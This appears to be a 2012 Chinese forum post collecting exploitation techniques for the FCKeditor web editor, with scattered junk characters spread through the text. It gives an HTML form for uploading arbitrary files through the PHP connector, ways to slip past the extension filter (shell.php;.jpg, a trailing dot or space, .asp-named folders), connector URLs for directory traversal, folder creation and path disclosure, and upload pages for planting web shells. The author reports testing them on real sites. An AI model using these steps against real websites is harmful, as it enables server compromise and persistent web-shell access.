Fckeditor漏洞利用总结 8 ]( M4 z5 G5 @* u+ g
查看编辑器版本$ a* b& W) {' |, \$ d0 N) z% ^
FCKeditor/_whatsnew.html
s& g+ f; S) R h8 k" w8 t—————————————————————————————————————————————————————————————) w0 p7 p7 S1 x" C" {4 y( b
3 d/ J3 T* D% w8 h1 s' Q/ B
2. Version 2.2 版本
7 m- |+ Z- k0 t- {Apache+linux 环境下在上传文件后面加个.突破！测试通过。
3 d9 Y1 J) u; f' G* T—————————————————————————————————————————————————————————————' K- x; a! }0 Y7 h4 R
?, s- U0 r m9 `+ z( {! Z4 d
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。
" v1 r% Q2 j" L' {% [* J% L<form id="frmUpload" enctype="multipart/form-data"
0 D6 j' E8 r$ W0 o. O0 J) kaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
5 G& \/ L! ?8 l/ C( _7 L3 Q<input type="file" name="NewFile" size="50"><br>
: b6 q" {7 S [; l, K4 I. l. G<input id="btnUpload" type="submit" value="Upload">
0 c9 L, i+ Q2 l' V- _</form>
* U9 A* s) T1 e3 b—————————————————————————————————————————————————————————————2 ?) B$ b; ]8 [1 Z4 X. F
, z3 ~# |# _/ E4.FCKeditor 文件上传“.”变“_”下划线的绕过方法8 j! N1 h' c4 D
很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。8 I8 ]0 s' i: V1 H
4.1：提交shell.php+空格绕过
: @/ a* L- t* ~5 ^* r不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。3 L6 G" P" }$ v
4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。1 ~: \; }+ x5 _7 J& l8 X5 n. a$ }4 H
—————————————————————————————————————————————————————————————
! v& M+ X8 ]& r* a9 L! l; n9 m# e- j& n1 m& H6 W1 Z2 x, N% y3 h
5. 突破建立文件夹# z" U4 c6 W7 |$ n) v4 J
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
# y" B6 T# P/ k7 _! G$ AFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
$ T- f# A" p- d6 h5 q" B* S7 W—————————————————————————————————————————————————————————————
/ i9 v" _0 O; ^" A3 o$ `$ {# _
6. FCKeditor 中test 文件的上传地址% X C7 j, L" d. a; ]) F& L
FCKeditor/editor/filemanager/browser/default/connectors/test.html
/ V: ]: l9 u! l9 ?) JFCKeditor/editor/filemanager/upload/test.html% c, t8 N: s8 P P% I& u
FCKeditor/editor/filemanager/connectors/test.html
$ ?6 a: \/ i( R1 {# q3 tFCKeditor/editor/filemanager/connectors/uploadtest.html
& k1 j0 ?9 U; e" A' S, n—————————————————————————————————————————————————————————————
2 R2 F% ]; q3 q5 i: Y
6 \! `1 W* U; y! |) B# \7.常用上传地址
2 r, t& Q+ C# V3 h4 O! {$ AFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
% Y, p0 ?* h( R" I3 r4 `/ HFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp, t( @/ e. k) O; \
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)' f- F! w' [/ ~# |
JSP 版：8 w0 h. g; V4 Z6 r, @: J" ~' ] p
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
( c& C. I$ V0 f1 w' i注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文
W0 c4 a3 | k3 ~0 N6 [1 e: n件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。
- ~5 d: r7 u( p/ M6 C) V( i. _—————————————————————————————————————————————————————————————5 N7 w0 R- s0 ?# Y! i1 c
4 R" a. p5 [% @8.其他上传地址( I/ F8 x8 n8 U; @1 l
FCKeditor/_samples/default.html+ x: w+ A: a" r D; k
FCKeditor/_samples/asp/sample01.asp- w8 }+ @# E* m: t a1 t, a& c
FCKeditor/_samples/asp/sample02.asp
5 x; p R. F$ KFCKeditor/_samples/asp/sample03.asp$ R% ?/ j; N2 x6 D
FCKeditor/_samples/asp/sample04.asp2 z$ N3 k/ X, b+ n
一般很多站点都已删除_samples 目录，可以试试。9 o$ ~3 X9 V4 s/ r& ^
FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
- _# N; ~8 B. K1 |" j& ~/ }4 `—————————————————————————————————————————————————————————————6 [# F2 o, Y1 O, V: f
( R5 l) t5 N9 r0 B8 u9.列目录漏洞也可助找上传地址
+ L2 e* P% I+ y, `, t. X2 ]Version 2.4.1 测试通过1 {5 n! r& }, l0 N2 l9 e0 ?
修改CurrentFolder 参数使用 ../../来进入不同的目录
! W0 U* d7 o) C* }3 k: U6 j/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
. J: b' u5 g! N3 ^" @) B根据返回的XML 信息可以查看网站所有的目录。
2 ?) \/ s3 i7 J2 ^FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F8 Q! {- e. c& X! H5 Z4 l0 u' S1 n
也可以直接浏览盘符：7 q1 O0 p0 a( N4 ~4 G
JSP 版本：8 @# g4 G# c' ]
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F7 C5 V% ?& }& L6 S
—————————————————————————————————————————————————————————————8 l! V6 C+ Y2 K4 O" X4 Z. S% a% J
7 I" C R3 Q8 _1 ]
10.爆路径漏洞
- x0 _/ L! q1 K8 t$ w& iFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp: e/ l- Z" I Q5 O/ e
—————————————————————————————————————————————————————————————( k- K# N+ x8 |% P) G/ c3 q% N
6 R/ N' @7 ?0 _( V) h: [$ d& b
11. FCKeditor 被动限制策略所导致的过滤不严问题
0 Q+ [3 ], j J% f: B) j" V 影响版本: FCKeditor x.x <= FCKeditor v2.4.3, E6 i/ d0 g# V" K+ n Y' T; i
脆弱描述：
/ o* f% i; ^( HFCKeditor v2.4.3 中File 类别默认拒绝上传类型：& e- N) T' e; ^4 g( H9 C' J
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm3 H2 J/ l4 g, N: k
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
; J9 v- |2 S7 y 而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。
0 F3 e) _# X3 j2 P 在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!% l6 H0 a& |( u9 [) N7 _: ?
—————————————————————————————————————————————————————————————
; q: N2 y1 E- b- \' |. @1 o _1 c# L5 J
12.最古老的漏洞，Type文件没有限制！
B9 x% x* i2 C# v( o, c0 d 我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！ ! y% P! y) o% J' @. b9 [6 Z, X" _
—————————————————————————————————————————————————————————————
& M, u+ O* G# ?9 L7 z; ~
7 L2 G+ B) f) d/ @* m! j===============================================================================================================================================. V9 f5 S0 f9 m8 _9 _ w s
0 [! u F$ }) Z {) BFCK编辑器jsp版本漏洞：
; r' o/ f3 V/ C( E3 P8 y2 m5 ? H' V/ t+ k% E- Q7 B6 X
' n5 b: A7 c- z7 }8 i/ Dhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
- V5 {* p7 }* l/ @9 J" n7 A$ B- P5 S8 q: I) I1 ?( f$ l
上传马所在目录
) N; H. ?$ Q& r0 p& ^9 @+ F8 j aFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/0 z$ U9 W8 @. e7 S/ x
上传shell的地址:$ K4 v- J) ~% r8 t" x' N
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
% \3 n+ h8 _9 P0 Z; y跟版本有关系.并不是百分百成功. 测试成功几个站.
. G- `* V }4 M8 U3 y8 ]' O* H不能通杀.很遗憾.9 X1 m4 w; }: j$ e- a2 D
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
, \" \) p s4 E& w. g如果以上地址不行可以试试; L: j U4 K; n) `3 K
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
+ t% W U4 k4 `; eFCKeditor/_samples/
( a+ \ t# r- {FCKeditor/_samples/default.html
6 X3 y- u5 A! D' P* A6 O/ kFCKeditor/editor/fckeditor.htm; o- Y' X$ |3 U" w! v) a) l$ {, J
FCKeditor/editor/fckdialog.html" ?# y6 M0 c% _ m+ b3 c: I
! c6 X# T* m& U
& ]; X& |1 S; u; U
( ~4 A$ h: P" L3 m3 K: u
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg. D$ {# c' i( ?& k. R
|
发表于 2012-9-13 17:01:39
收藏
支持
反对